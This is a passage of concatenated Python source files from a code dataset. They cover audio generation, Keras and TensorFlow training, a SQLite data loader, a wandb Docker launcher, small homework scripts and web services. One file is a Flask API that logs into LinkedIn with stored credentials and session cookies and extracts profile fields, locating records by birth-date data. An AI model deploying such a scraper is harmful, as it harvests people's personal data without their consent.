= (2**15-1)*sc.square(2 * np.pi * f * t) # Señal cuadrada a reproducir\n\n# Grafica la señal\nfig=plt.figure(1)\nplt.plot(t,note)\n##plt.plot(t[0:5*fs//f],note[:5*fs//f])\nplt.show()\n\naudio = note.astype(np.int16) #tranforma la variable note a entero de 16bits y lo guarda en audio\nfor i in range(CANTIDAD):\n play_obj = sa.play_buffer(audio, 1, 2, fs) # sale el audio\n play_obj.wait_done() # espera que termine la linea anterior\n\n","sub_path":"Programas/TP2/linux/audio_gen.py","file_name":"audio_gen.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"388761212","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 18 10:21:03 2017\n\n@author: Nott\n\"\"\"\n\n#Artificial Neural Network\n\n#Installing Theano\n#pip install --upgrade --no-deps git+git://github.com/Theano/Theano.git\n\n#Installing Tenserflow\n#pip install --upgrade tensorflow\n\n#Install Keras\n#pip install --upgrade keras\n\n#Part 1 - Data Preprocessing\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the dataset\ndataset = pd.read_csv('Churn_Modelling.csv')\nX = dataset.iloc[:, 3:13].values\ny = dataset.iloc[:, 13].values\n \n# Encoding categorical data\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nlabelencoder_X_1 = LabelEncoder()\nX[:, 1] = labelencoder_X_1.fit_transform(X[:, 1])\nlabelencoder_X_2 = LabelEncoder()\nX[:, 2] = labelencoder_X_2.fit_transform(X[:, 2])\nonehotencoder = OneHotEncoder(categorical_features = [1])\nX = onehotencoder.fit_transform(X).toarray()\nX = X[:, 1:]\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 0)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.transform(X_test)\n\n#Part 2 - Let's make ANN\n\n#Import Keras Libraries and packages\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense\n\n#Initialising ANN\nclassifier = Sequential()\n\n#Adding the Input layer and First hidden layers\nclassifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu',input_dim=11))\n\n#Adding Second Hidden Layer\nclassifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu'))\n\n#Adding Output Layer if dependencies param > 2 change output_dim=x and activation=softmax\nclassifier.add(Dense(units=1,kernel_initializer='uniform',activation='sigmoid'))\n\n#Part 3 - Make Prediction and Evaluating the model if dependencies param > 2 change loss='categorical_crossentropy'\nclassifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n\n# Fitting ANN to the Training set\nclassifier.fit(X_train, y_train, batch_size=10 ,epochs=100)\n\n# Predicting the Test set results\ny_pred = classifier.predict(X_test)\ny_pred = (y_pred > 0.5)\n\n#Predict new single test\nnew_prediction = classifier.predict(sc.transform(np.array([[0.0,0,600,1,40,3,60000,2,1,1,50000]])))\nnew_prediction = (new_prediction > 0.5)\n\n# Making the Confusion Matrix\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(y_test, y_pred)\n\n\n#Evaluating ANN\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom keras.models import Sequential\nfrom keras.layers import Dense\ndef build_classifier():\n classifier = Sequential()\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu',input_dim=11))\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu'))\n classifier.add(Dense(units=1,kernel_initializer='uniform',activation='sigmoid'))\n classifier.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])\n return classifier\nclassifier = KerasClassifier(build_fn = build_classifier, batch_size = 10, epochs = 100)\naccuracies = cross_val_score(estimator = classifier, X = X_train, y = y_train, cv = 10)\nmean = accuracies.mean()\nvariance = accuracies.std()\n\n\n#Improving ANN\n\n#Dropout Regularrizaion to Reduce overfitting if it needed\n\n#Tuning ANN\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom keras.models import Sequential\nfrom keras.layers import Dense\ndef build_classifier(localOptimizer):\n classifier = Sequential()\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu',input_dim=11))\n classifier.add(Dense(units=6,kernel_initializer='uniform',activation='relu'))\n classifier.add(Dense(units=1,kernel_initializer='uniform',activation='sigmoid'))\n classifier.compile(optimizer= localOptimizer, loss='binary_crossentropy', metrics=['accuracy'])\n return classifier\nclassifier = KerasClassifier(build_fn = build_classifier)\nparameters = {'batch_size' : [25, 32],\n 'epochs' : [100, 500],\n 'localOptimizer' : ['adam', 'rmsprop']}\ngrid_search = GridSearchCV(estimator = classifier,\n param_grid = parameters,\n scoring = 'accuracy',\n cv = 10)\ngrid_search = grid_search.fit(X_train, y_train)\nbest_parameters = grid_search.best_params_\nbeat_accuracy = grid_search.best_score_\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Part 8 - Deep Learning/Section 39 - Artificial Neural Networks (ANN)/ann.py","file_name":"ann.py","file_ext":"py","file_size_in_byte":4730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"343435761","text":"import tensorflow as tf\n\n\ndef image_augmentation(image, is_training, crop_h, crop_w):\n\n def _aug_with_train(input_x, crop_height, crop_width):\n img_h, img_w, ch = list(map(int, input_x.get_shape()[:]))\n\n pad_w = int(img_h * 0.2)\n pad_h = int(img_w * 0.2)\n\n input_x = tf.image.resize_image_with_crop_or_pad(input_x, img_h+pad_h, img_w+pad_w)\n input_x = tf.random_crop(input_x, [crop_height, crop_width, ch])\n input_x = tf.image.random_flip_left_right(input_x)\n input_x = tf.image.random_flip_up_down(input_x)\n\n input_x = tf.image.random_contrast(input_x, lower=0.2, upper=2.0)\n input_x = tf.image.random_brightness(input_x, max_delta=63. / 255.)\n input_x = tf.image.random_saturation(input_x, lower=0.5, upper=1.8)\n input_x = tf.image.per_image_standardization(input_x)\n return input_x\n\n def _aug_with_test(input_x, crop_height, crop_width):\n\n input_x = tf.image.resize_image_with_crop_or_pad(input_x, crop_height, crop_width)\n input_x = tf.image.per_image_standardization(input_x)\n return input_x\n\n image = tf.cond(is_training,\n lambda: _aug_with_train(image, crop_h, crop_w),\n lambda: _aug_with_test(image, crop_h, crop_w))\n return image\n\n\ndef images_augmentation(images, phase_train):\n with tf.name_scope('augmentation'):\n crop_h, crop_w = list(map(int, images.get_shape()[1:3]))\n images = tf.map_fn(lambda image: image_augmentation(image, phase_train, crop_h, crop_w),\n images)\n return images\n","sub_path":"augmentator.py","file_name":"augmentator.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"300584480","text":"# -*- coding: utf-8 -*-\n\"\"\"\ndata2database\n Load and transfer logsheet, subject dimensions, digitized, and force data\n to database.\n\nThis code will also create a table that records the table names of each cycle.\n\nCreated on Mon Jul 6 08:51:24 2020\n\n@author: cwiens\n\"\"\"\n\nimport sqlite3\nimport pandas as pd\nimport glob, os\n\nfrom codes.importlogsheet import readls\n\n\n\"\"\" set file names \"\"\"\ndb = '../data/wc_graded.sqlite'\nlogsheet = '../data/logsheet_master.xlsx'\nsub_dim_file = '../data/Subject Body Dimensions_Complete2.xlsx'\nwc_adj_file = '../data/wc-adjustments.xlsx'\nresults_file = '../data/DOD_graded_results_CW_200826.xlsx'\n\n\n\"\"\" establish database connection \"\"\"\nconn = sqlite3.connect(db)\n\n\n\"\"\" load master logsheet, subject dimensions, and WC adjustments \"\"\"\nls = readls(logsheet)\nsub_dim = pd.read_excel(sub_dim_file).iloc[:,:-1]\nwc_adj = pd.read_excel(wc_adj_file, sheet_name = 'adj_stats')\nresults = pd.read_excel(results_file)\n\n\n\"\"\" upload logsheet, subject dimensions, WC adjustments, and results files to database \"\"\"\nls.to_sql('logsheet', conn, if_exists='replace', index=False)\nsub_dim.to_sql('subject_dimensions', conn, if_exists='replace', index=False)\nwc_adj.to_sql('wheelchair_adjustments', conn, if_exists='replace', index=False)\nresults.to_sql('results', conn, if_exists='replace', index=False)\n\n\n\"\"\" load digitized and force data \"\"\"\n# intialzie table_data\ntable_data = None\n# change folder to where data is stored\nos.chdir('../data/subject_data')\n# loop through each file\nfor file in glob.glob('*.xlsx'):\n data_digi = pd.read_excel(file).iloc[:,:9]\n data_jointkin = pd.read_excel(file).iloc[:,9:]\n data_angle = pd.read_excel(file, sheet_name = \"Sheet2\")\n data_rf = pd.read_excel(file, sheet_name = \"Sheet3\")\n data_full = pd.read_excel(file, sheet_name = \"Sheet4\")\n # find cycle info\n sub = '{:02}'.format(int(''.join(filter(str.isdigit, file[:7]))))\n sess = ''.join(filter(str.isdigit, file[10:18]))\n cond = ''.join(filter(str.isdigit, file[22:28]))\n trial = '{:02}'.format(int(''.join(filter(str.isdigit, file[28:37]))))\n cycle = '{:02}'.format(int(''.join(filter(str.isdigit, file[36:]))))\n \"\"\" upload all data to database \"\"\"\n data_digi.to_sql('digi_' + sub + sess + cond + trial + cycle, conn, if_exists='replace')\n data_jointkin.to_sql('jkin_' + sub + sess + cond + trial + cycle, conn, if_exists='replace')\n data_angle.to_sql('angle_' + sub + sess + cond + trial + cycle, conn, if_exists='replace')\n data_rf.to_sql('force_' + sub + sess + cond + trial + cycle, conn, if_exists='replace')\n data_full.to_sql('fulldata_' + sub + sess + cond + trial + cycle, conn, if_exists='replace')\n \"\"\" add data info to list of tables \"\"\"\n if table_data is None:\n table_data = pd.DataFrame({'subject_id': [int(sub)],\n 'session': [int(sess)],\n 'condition': [int(cond)],\n 'trial': [int(trial)],\n 'cycle': [int(cycle)],\n 'digi': ['digi_' + sub + sess + cond + trial + cycle],\n 'force': ['force_' + sub + sess + cond + trial + cycle],\n 'angle': ['angle_' + sub + sess + cond + trial + cycle],\n 'fulldata': ['fulldata_' + sub + sess + cond + trial + cycle]})\n else:\n table_data = table_data.append(pd.DataFrame({'subject_id': [int(sub)],\n 'session': [int(sess)],\n 'condition': [int(cond)],\n 'trial': [int(trial)],\n 'cycle': [int(cycle)],\n 'digi': ['digi_' + sub + sess + cond + trial + cycle],\n 'force': ['force_' + sub + sess + cond + trial + cycle],\n 'angle': ['angle_' + sub + sess + cond + trial + cycle],\n 'fulldata': ['fulldata_' + sub + sess + cond + trial + cycle]})).reset_index(drop=True)\n \n# return to original folder\nos.chdir('../..')\n# upload table_data\ntable_data.to_sql('table_list', conn, if_exists='replace', index=False)\n\n\n\"\"\" close connection \"\"\"\nconn.close()\n","sub_path":"codes/data2database.py","file_name":"data2database.py","file_ext":"py","file_size_in_byte":4470,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"592352253","text":"import getpass\nimport json\nimport logging\nimport os\nimport posixpath\nimport re\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nfrom typing import Any, Dict, List, Optional, Sequence, Union\n\n\nfrom docker.models.resource import Model # type: ignore\nfrom dockerpycreds.utils import find_executable # type: ignore\nfrom six.moves import shlex_quote\nimport wandb\nfrom wandb.apis.internal import Api\nfrom wandb.env import DOCKER\nfrom wandb.errors import ExecutionError, LaunchError\nfrom wandb.util import get_module\n\nfrom . import _project_spec\nfrom .utils import _is_wandb_dev_uri, _is_wandb_local_uri\nfrom ..lib.git import GitRepo\n\n_logger = logging.getLogger(__name__)\n\n_GENERATED_DOCKERFILE_NAME = \"Dockerfile.wandb-autogenerated\"\n_PROJECT_TAR_ARCHIVE_NAME = \"wandb-project-docker-build-context\"\n\n\ndef validate_docker_installation() -> None:\n \"\"\"Verify if Docker is installed on host machine.\"\"\"\n if not find_executable(\"docker\"):\n raise ExecutionError(\n \"Could not find Docker executable. \"\n \"Ensure Docker is installed as per the instructions \"\n \"at https://docs.docker.com/install/overview/.\"\n )\n\n\ndef validate_docker_env(launch_project: _project_spec.LaunchProject) -> None:\n \"\"\"Ensure project has a docker image associated with it.\"\"\"\n if not launch_project.docker_image:\n raise ExecutionError(\n \"LaunchProject with docker environment must specify the docker image \"\n \"to use via 'docker_image' field.\"\n )\n\n\ndef generate_docker_image(\n launch_project: _project_spec.LaunchProject, entry_cmd: str\n) -> str:\n \"\"\"Uses project and entry point to generate the docker image.\"\"\"\n path = launch_project.project_dir\n # this check will always pass since the dir attribute will always be populated\n # by _fetch_project_local\n get_module(\n \"repo2docker\",\n required='wandb launch requires additional dependencies, install with pip install \"wandb[launch]\"',\n )\n assert isinstance(path, str)\n cmd: Sequence[str] = [\n \"jupyter-repo2docker\",\n \"--no-run\",\n \"--user-id={}\".format(launch_project.docker_user_id),\n path,\n '\"{}\"'.format(entry_cmd),\n ]\n\n _logger.info(\n \"Generating docker image from git repo or finding image if it already exists..........\"\n )\n wandb.termlog(\"Generating docker image, this may take a few minutes\")\n process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n stderr = \"\"\n # this will always pass, repo2docker writes to stderr.\n assert process.stderr\n for line in process.stderr:\n decoded_line = line.decode(\"utf-8\")\n if decoded_line.endswith(\"\\n\"):\n decoded_line = decoded_line.rstrip(\"\\n\")\n print(decoded_line) # don't spam termlog with all this\n stderr = stderr + decoded_line\n process.wait()\n image_id: List[str] = re.findall(r\"Successfully tagged (.+):latest\", stderr)\n if not image_id:\n image_id = re.findall(r\"Reusing existing image \\((.+)\\)\", stderr)\n if not image_id:\n raise LaunchError(\"error running repo2docker: {}\".format(stderr))\n os.environ[DOCKER] = image_id[0]\n return image_id[0]\n\n\ndef pull_docker_image(docker_image: str) -> None:\n \"\"\"Pulls the requested docker image.\"\"\"\n import docker # type: ignore\n\n info = docker_image.split(\":\")\n client = docker.from_env()\n try:\n if len(info) == 1:\n client.images.pull(info[0])\n else:\n client.images.pull(info[0], tag=info[1])\n except docker.errors.APIError as e:\n raise LaunchError(\"Docker server returned error: {}\".format(e))\n\n\ndef build_docker_image(\n launch_project: _project_spec.LaunchProject, base_image: str, copy_code: bool,\n) -> Union[Model, Any]:\n \"\"\"Build a docker image containing the project in `work_dir`, using the base image.\n\n Arguments:\n launch_project: LaunchProject class instance\n base_image: base_image to build the docker image off of\n api: instance of wandb.apis.internal Api\n copy_code: boolean indicating if code should be copied into the docker container\n\n Returns:\n A `Model` instance of the docker image.\n\n Raises:\n LaunchError: if there is an issue communicating with the docker client\n \"\"\"\n import docker\n\n image_name = \"wandb_launch_{}\".format(launch_project.run_id)\n image_uri = _get_docker_image_uri(\n name=image_name, work_dir=launch_project.project_dir\n )\n copy_code_line = \"\"\n workdir_line = \"\"\n copy_config_line = \"\"\n workdir = os.path.join(\"/home/\", getpass.getuser())\n if launch_project.override_config:\n copy_config_line = \"COPY {}/{} {}\\n\".format(\n _PROJECT_TAR_ARCHIVE_NAME, _project_spec.DEFAULT_CONFIG_PATH, workdir\n )\n if copy_code:\n copy_code_line = \"COPY {}/ {}\\n\".format(_PROJECT_TAR_ARCHIVE_NAME, workdir)\n workdir_line = \"WORKDIR {}\\n\".format(workdir)\n name_line = \"\"\n if launch_project.name:\n name_line = \"ENV WANDB_NAME={wandb_name}\\n\"\n\n dockerfile = (\n \"FROM {imagename}\\n\"\n \"{copy_config_line}\"\n \"{copy_code_line}\"\n \"{workdir_line}\"\n \"{name_line}\"\n ).format(\n imagename=base_image,\n copy_config_line=copy_config_line,\n copy_code_line=copy_code_line,\n workdir_line=workdir_line,\n name_line=name_line,\n )\n build_ctx_path = _create_docker_build_ctx(\n launch_project.project_dir,\n dockerfile,\n launch_project._runtime,\n launch_project.override_config,\n )\n with open(build_ctx_path, \"rb\") as docker_build_ctx:\n _logger.info(\"=== Building docker image %s ===\", image_uri)\n # TODO: replace with shelling out\n dockerfile = posixpath.join(\n _PROJECT_TAR_ARCHIVE_NAME, _GENERATED_DOCKERFILE_NAME\n )\n # TODO: remove the dependency on docker / potentially just do the append builder\n # found at: https://github.com/google/containerregistry/blob/master/client/v2_2/append_.py\n client = docker.from_env()\n try:\n image, _ = client.images.build(\n tag=image_uri,\n forcerm=True,\n dockerfile=dockerfile,\n fileobj=docker_build_ctx,\n custom_context=True,\n encoding=\"gzip\",\n )\n except ConnectionError as e:\n raise LaunchError(\"Error communicating with docker client: {}\".format(e))\n\n try:\n os.remove(build_ctx_path)\n except Exception:\n _logger.info(\n \"Temporary docker context file %s was not deleted.\", build_ctx_path\n )\n return image\n\n\ndef get_docker_command(\n image: Union[Model, Any],\n launch_project: _project_spec.LaunchProject,\n api: Api,\n docker_args: Dict[str, Any] = None,\n) -> List[str]:\n \"\"\"Constructs the docker command using the image and docker args.\n\n Arguments:\n image: a Docker image to be run\n launch_project: an instance of LaunchProject\n api: an instance of wandb.apis.internal Api\n docker_args: a dictionary of additional docker args for the command\n \"\"\"\n docker_path = \"docker\"\n cmd: List[Any] = [docker_path, \"run\", \"--rm\"]\n\n if _is_wandb_local_uri(api.settings(\"base_url\")) and sys.platform == \"darwin\":\n _, _, port = _, _, port = api.settings(\"base_url\").split(\":\")\n base_url = \"http://host.docker.internal:{}\".format(port)\n elif _is_wandb_dev_uri(api.settings(\"base_url\")):\n base_url = \"http://host.docker.internal:9002\"\n else:\n base_url = api.settings(\"base_url\")\n\n cmd += [\n \"--env\",\n f\"WANDB_BASE_URL={base_url}\",\n \"--env\",\n f\"WANDB_API_KEY={api.api_key}\",\n \"--env\",\n f\"WANDB_PROJECT={launch_project.target_project}\",\n \"--env\",\n f\"WANDB_ENTITY={launch_project.target_entity}\",\n \"--env\",\n f\"WANDB_LAUNCH={True}\",\n \"--env\",\n f\"WANDB_LAUNCH_CONFIG_PATH={_project_spec.DEFAULT_CONFIG_PATH}\",\n \"--env\",\n f\"WANDB_RUN_ID={launch_project.run_id or None}\",\n \"--env\",\n f\"WANDB_DOCKER={launch_project.docker_image}\",\n ]\n\n if docker_args:\n for name, value in docker_args.items():\n # Passed just the name as boolean flag\n if isinstance(value, bool) and value:\n if len(name) == 1:\n cmd += [\"-\" + name]\n else:\n cmd += [\"--\" + name]\n else:\n # Passed name=value\n if len(name) == 1:\n cmd += [\"-\" + name, value]\n else:\n cmd += [\"--\" + name, value]\n\n cmd += [image.tags[0]]\n return [shlex_quote(c) for c in cmd]\n\n\ndef _get_docker_image_uri(name: str, work_dir: str) -> str:\n \"\"\"Returns a Docker image URI based on the git hash of the specified working directory.\n\n Arguments:\n name: The URI of the Docker repository with which to tag the image. The\n repository URI is used as the prefix of the image URI.\n work_dir: Path to the working directory in which to search for a git commit hash\n \"\"\"\n name = name.replace(\" \", \"-\") if name else \"docker-project\"\n # Optionally include first 7 digits of git SHA in tag name, if available.\n\n git_commit = GitRepo(work_dir).last_commit\n version_string = \":\" + str(git_commit[:7]) if git_commit else \"\"\n return name + version_string\n\n\ndef _create_docker_build_ctx(\n work_dir: str,\n dockerfile_contents: str,\n runtime: Optional[str],\n run_config: Dict[str, Any],\n) -> str:\n \"\"\"Creates build context tarfile containing Dockerfile and project code, returning path to tarfile.\"\"\"\n directory = tempfile.mkdtemp()\n try:\n dst_path = os.path.join(directory, \"wandb-project-contents\")\n shutil.copytree(src=work_dir, dst=dst_path)\n if run_config:\n config_path = os.path.join(dst_path, _project_spec.DEFAULT_CONFIG_PATH)\n with open(config_path, \"w\") as fp:\n json.dump(run_config, fp)\n if runtime:\n runtime_path = os.path.join(dst_path, \"runtime.txt\")\n with open(runtime_path, \"w\") as fp:\n fp.write(runtime)\n\n with open(os.path.join(dst_path, _GENERATED_DOCKERFILE_NAME), \"w\") as handle:\n handle.write(dockerfile_contents)\n _, result_path = tempfile.mkstemp()\n wandb.util.make_tarfile(\n output_filename=result_path,\n source_dir=dst_path,\n archive_name=_PROJECT_TAR_ARCHIVE_NAME,\n )\n finally:\n shutil.rmtree(directory)\n return result_path\n","sub_path":"wandb/sdk/launch/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":10678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"538149585","text":"def solicitaInteiro(iterator):\n valor = \"Digite \" + str(iterator) + \"º número: \" \n num = input(valor)\n try:\n num = int(num)\n valor = \"O \" + str(iterator) + \"º número informado foi [\"\n print(valor, num, \"]\")\n return num\n except:\n print(\"Não é um número válido.\")\n exit()\n\nquantidade = [1,2]\nvalor = 0\nfor iterator in quantidade:\n valor += solicitaInteiro(iterator)\n\nprint(\"Soma:\", valor)","sub_path":"semana1/estrutura-sequencial/exercicio03.py","file_name":"exercicio03.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"299974633","text":"from flask import Flask, request, jsonify,render_template\n\n\nfrom bs4 import BeautifulSoup\nimport requests\nimport pickle\n\nimport json\nimport os\nfrom os import path\nimport re\n\n\nLINKEDIN_MAIL = os.environ.get(\"LINKEDIN_MAIL\")\nLINKEDIN_PASSWORD = os.environ.get(\"LINKEDIN_PASSWORD\")\n\napp = Flask(__name__)\n\n\nSERVER_ERROR = [{\"server-error\":\"can't establish connection ,try again, after some time\"}]\nSERVER_ERROR_DATA = [{\"server-error\":\"failed to fetch data, try again, after some time\"}]\ndef save_cookies(requests_cookiejar):\n filename='cookies'\n with open(filename, 'wb') as f:\n pickle.dump(requests_cookiejar, f)\n\ndef load_cookies(filename):\n with open(filename, 'rb') as f:\n return pickle.load(f)\n\ndef login_linkedin():\n client = requests.Session()\n HOMEPAGE_URL = 'https://www.linkedin.com'\n LOGIN_URL = 'https://www.linkedin.com/uas/login-submit'\n html = client.get(HOMEPAGE_URL).content\n soup = BeautifulSoup(html, \"html.parser\")\n try:\n csrf = soup.find('input', dict(name='loginCsrfParam'))['value']\n except:\n return \"csrf :error\"\n\n try:\n login_information = {\n 'session_key':LINKEDIN_MAIL,\n 'session_password':LINKEDIN_PASSWORD,\n 'loginCsrfParam': csrf,\n }\n client.post(LOGIN_URL, data=login_information)\n save_cookies(client.cookies)\n except:\n return \"login:error\"\n return \"success\"\n\ndef scrapper(link,user_req_data):\n if not path.exists('cookies'):\n login = login_linkedin()\n if login == \"success\":\n pass\n else:\n print(\"Linkedin : Failed to Login\")\n return(SERVER_ERROR)\n url = link\n html = requests.get(url,cookies=load_cookies('cookies'))\n if not html.status_code == 200:\n login = login_linkedin()\n html = requests.get(url,cookies=load_cookies('cookies'))\n if not login == \"success\" or not html.status_code == 200:\n return(SERVER_ERROR)\n soup = BeautifulSoup(html.content , \"html.parser\")\n data = soup.find_all('code')\n if data == []:\n return(SERVER_ERROR_DATA)\n found = False\n req_data = {}\n for element in data:\n json_object = element.get_text()\n try:\n dict_from_json = json.loads(json_object)\n if 'included' in dict_from_json.keys():\n for values in dict_from_json['included']:\n if 'birthDateOn' in values.keys():\n found = True\n req_data = values\n break\n if found:\n break\n except:\n pass\n\n resp = [{}]\n if found:\n try:\n resp = [{\n user_req_data : req_data[user_req_data]\n }]\n except:\n pass\n return resp\n\n@app.route('/api/v1/linkedin/', methods=('GET', 'POST'))\ndef respond():\n if request.method == 'POST':\n req_data = request.form['data']\n link = request.form['url']\n link_regex = re.compile('((http(s?)://)*([a-zA-Z0-9\\-])*\\.|[linkedin])[linkedin/~\\-]+\\.[a-zA-Z0-9/~\\-_,&=\\?\\.;]+[^\\.,\\s<]')\n validate = link_regex.match(link)\n if validate is None:\n resp = [{\n \"invalid_link\" : link + \"- please check your link one more time and try agian\"\n }]\n return jsonify(resp)\n resp = scrapper(link,req_data)\n if resp == [{}]:\n resp = [{\n \"No requested data found\" : req_data + \"- please try again with the keywords headline/firstName/lastName/summary\"\n }]\n return jsonify(resp)\n\n return render_template('api.html')\n\n\n\nif __name__ == '__main__':\n # Threaded option to enable multiple instances for multiple user access support\n app.run(threaded=True, port=5000)\n","sub_path":"local/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"571299809","text":"__author__ = 'clarksj4 & camertp1'\n\nimport writer\nimport cherrypy\nimport sys\nlib_path = '..'\nsys.path.append(lib_path)\nimport slacker_config\n\n\"\"\"\n WriterSvc:\n Receives .json from UI contains { \"session_key\": \"sdfh467sdf13423d\", \"body\": \"Hello World!\", \"channel_id\": \"1\" }\n\n Make sure .json is in correct format. If not, POST error msg to UI\n\n get session_key from .json\n\n send session_key to authorization svc - POST\n\n POST to auth shall return .json containing user_id : { \"user_id\": \"39837124\"}\n\n create .json containing: { \"channel_id\": \"1\", \"user_id\": \"39837124\", \"body\": \"Hello World!\" }\n\n POST new .json to channel svc\n\n check return value of POST\n POST error to UI in case of error\n\"\"\"\n\nclass WriterSvc:\n exposed = True\n\n @cherrypy.tools.json_out()\n @cherrypy.tools.json_in()\n def POST(self):\n json = cherrypy.request.json\n try:\n session_key = json['session_key']\n channel_id = json['channel_id']\n body = json['body']\n\n except IndexError:\n return {'error': 'failed'}\n\n auth_resp = writer.Writer.send({'session_key': session_key}, url['auth'] + \":\" + port['auth'])\n\n if auth_resp.get('error'):\n return {'error': 'failed'}\n else:\n channel_resp = writer.Writer.send({'new_msg': {'channel_id': channel_id,\n 'user_id': auth_resp['user_id'],\n 'message_string': body}},\n url['channels'] + \":\" + port['channels'])\n\n if channel_resp.get('error'):\n return {'error': 'failed'}\n else:\n return {'success message': 'blargh'}\n\n\nif __name__ == '__main__':\n conf = {\n '/': {\n 'request.dispatch': cherrypy.dispatch.MethodDispatcher(),\n 'tools.response_headers.on': True,\n 'tools.response_headers.headers': [('Content-Type', 'application/json')],\n }\n }\n cherrypy.config.update({'server.socket_port': port['msg_writer']})\n cherrypy.quickstart(WriterSvc(), '/', conf)","sub_path":"WriteSvc/write_svc.py","file_name":"write_svc.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419033180","text":"# Starter code for Homework 4\n\n# %%\n# Import the modules we will use\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n# %%\n# ** MODIFY **\n# Set the file name and path to where you have stored the data\nfilename = 'streamflow_week4.txt'\nfilepath = os.path.join('data', filename)\nprint(os.getcwd())\nprint(filepath)\n\n# %%\n# DON'T change this part -- this creates the lists you \n# should use for the rest of the assignment\n# no need to worry about how this is being done now we will cover\n# this in later sections. \n\n#Read the data into a pandas dataframe\ndata=pd.read_table(filepath, sep = '\\t', skiprows=30,\n names=['agency_cd', 'site_no', 'datetime', 'flow', 'code']\n )\n\n# Expand the dates to year month day\ndata[[\"year\", \"month\", \"day\"]] =data[\"datetime\"].str.split(\"-\", expand=True)\ndata['year'] = data['year'].astype(int)\ndata['month'] = data['month'].astype(int)\ndata['day'] = data['day'].astype(int)\n\n# Make a numpy array of this data\nflow_data = data[['year', 'month','day', 'flow']].to_numpy()\n\n# Getting rid of the pandas dataframe since we wont be using it this week\ndel(data)\n\n# %%\n# Starter Code\n# Count the number of values with flow > 600 and month ==7\nflow_count = np.sum((flow_data[:,3] > 600) & (flow_data[:,1]==7))\n\n# Calculate the average flow for these same criteria \nflow_mean = np.mean(flow_data[(flow_data[:,3] > 600) & (flow_data[:,1]==7),3])\n\nprint(\"Flow meets this critera\", flow_count, \" times\")\nprint('And has an average value of', flow_mean, \"when this is true\")\n\n# Make a histogram of data\n# Use the linspace funciton to create a set of evenly spaced bins\nmybins = np.linspace(0, 1000, num=15)\n# another example using the max flow to set the upper limit for the bins\n#mybins = np.linspace(0, np.max(flow_data[:,3]), num=15) \n#Plotting the histogram\nplt.hist(flow_data[:,3], bins = mybins)\nplt.title('Streamflow')\nplt.xlabel('Flow [cfs]')\nplt.ylabel('Count')\n\n# Get the quantiles of flow\n# Two different approaches --- you should get the same answer\n# just using the flow column\nflow_quants1 = np.quantile(flow_data[:,3], q=[0,0.1, 0.5, 0.9])\nprint('Method one flow quantiles:', flow_quants1)\n# Or computing on a colum by column basis \nflow_quants2 = np.quantile(flow_data, q=[0,0.1, 0.5, 0.9], axis=0)\n# and then just printing out the values for the flow column\nprint('Method two flow quantiles:', flow_quants2[:,3])\n# %%\n# Starting 'my code'\n# print(data)\n# print(flow_count)\nprint(flow_data)\nprint(flow_mean)\nprint(flow_data.size)\nprint(flow_data.shape)\n# %%\n#Testing\n#take flows and compare similar years\n# flow_year = flow_data[:,0]\n# flow_month = flow_data[:,1]\n# flow_flow = flow_data[:,3]\n# print(flow_year)\n# flow_data2 = np.flow_data(flow_data[:,0]flow_data[:,1],\n# test1 = np.append(flow_data[:,0], flow_data[:,1])\n# print(test1)\n\n# del(test1)# %%\n\n# for flow_data[:,1] == 9 in flow_data:\n# print(flow_data[:,2])\n\n# for i in flow_data:\n# if flow_data.any[:,1] == 9:\n# print(flow_data[:,3])\n\n# year = \n\n# flow_data2 = flow_data[(flow_data[:,1]==9), 3]\n# yr1 = flow_data2[1:30]\n\n# print(flow_data2)\n\n# flow_data.index(flow_data[:,1] == 9)\n\n# print(flow_data[:,1] == 9 for flow_data[:,3])\n\n# %%\n# Monday Guess!\nprint(flow_data.size)\nprint(flow_data.shape)\nflow_202009 = flow_data[11571:11585, 3]\nprint(flow_202009)\n\nx = [6.,7,8,9,10,11,12,13,14,15,16,17,18,19]\nfig9 = plt.figure()\nfig9.patch.set_facecolor('xkcd:mint 